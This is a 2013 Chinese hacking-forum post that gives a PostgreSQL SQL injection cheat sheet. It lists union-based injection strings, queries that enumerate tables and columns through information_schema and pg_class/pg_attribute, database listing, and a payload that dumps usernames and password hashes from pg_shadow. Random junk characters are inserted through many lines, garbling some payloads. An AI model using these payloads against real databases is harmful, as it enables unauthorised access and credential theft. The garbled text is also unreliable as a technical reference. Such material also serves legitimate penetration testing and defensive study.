找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2253|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
$ e$ H8 N9 D% b1 O

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
+ M& L' I% S( O6 C" G! B5 w; s# v连接符: %20 , + , /**/

内置函数:
; n, S# h4 B8 d' r# {# `current_database() //当前数据库名1 k' j; A, o7 c! O- Q* L
session_user //会话用户
- e' n% R: \2 d6 j' Vcurrent_user //当前数据库用户1 S# V# O. t2 i5 n8 x0 w+ \
user //当前用户
" x2 s' o# B7 h7 fversion() //数据库版本

Union注射:
' m5 w2 l& L" X% ?  Yorder by n–& Y8 h1 m5 Q) S, D1 `3 T% n" a
and 1=2 union select null,null,null–' k. L) b& H  q" ]* [. L
and 1=2 union select ‘beach’,null,null–
9 C2 r! L; V" N7 q+ ?3 z/ pand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
1 ?2 p  z) Y2 h5 ~8 T$ b* v- j/ Bgroup_concat(table_name)
- X2 r) ]$ ^( Y5 ]4 V% c3 Fand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–. f) T+ z: M4 C8 Q( ?' K
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
+ }( ~$ N; [% Z(老版本)
0 _& `1 `( b. i0 ~* Bpg_class.oid对应pg_attribute.attrelid
. {7 ^) n  R  Z5 ~$ d5 epg_class.relname表名6 f* [# C* s/ s$ l  v
pg_attribute.attname字段名

select relname from pg_class获取表名& @6 N; B% U* w- m! B( {' v
select oid from pg_class where 条件 获取参数
  L; h+ R; Y. f: Oselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:# k$ I- O+ V+ I
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
8 o1 s0 y4 B% n  F; a6 Iand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–* p" F5 l, m+ U! n) `: W
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
% J+ z& c) V1 W$ a  d6 M2 l: C' A======================================================================
! k5 ~" p5 l6 D4 Kand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库4 _" e8 j  I5 F& D3 P
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表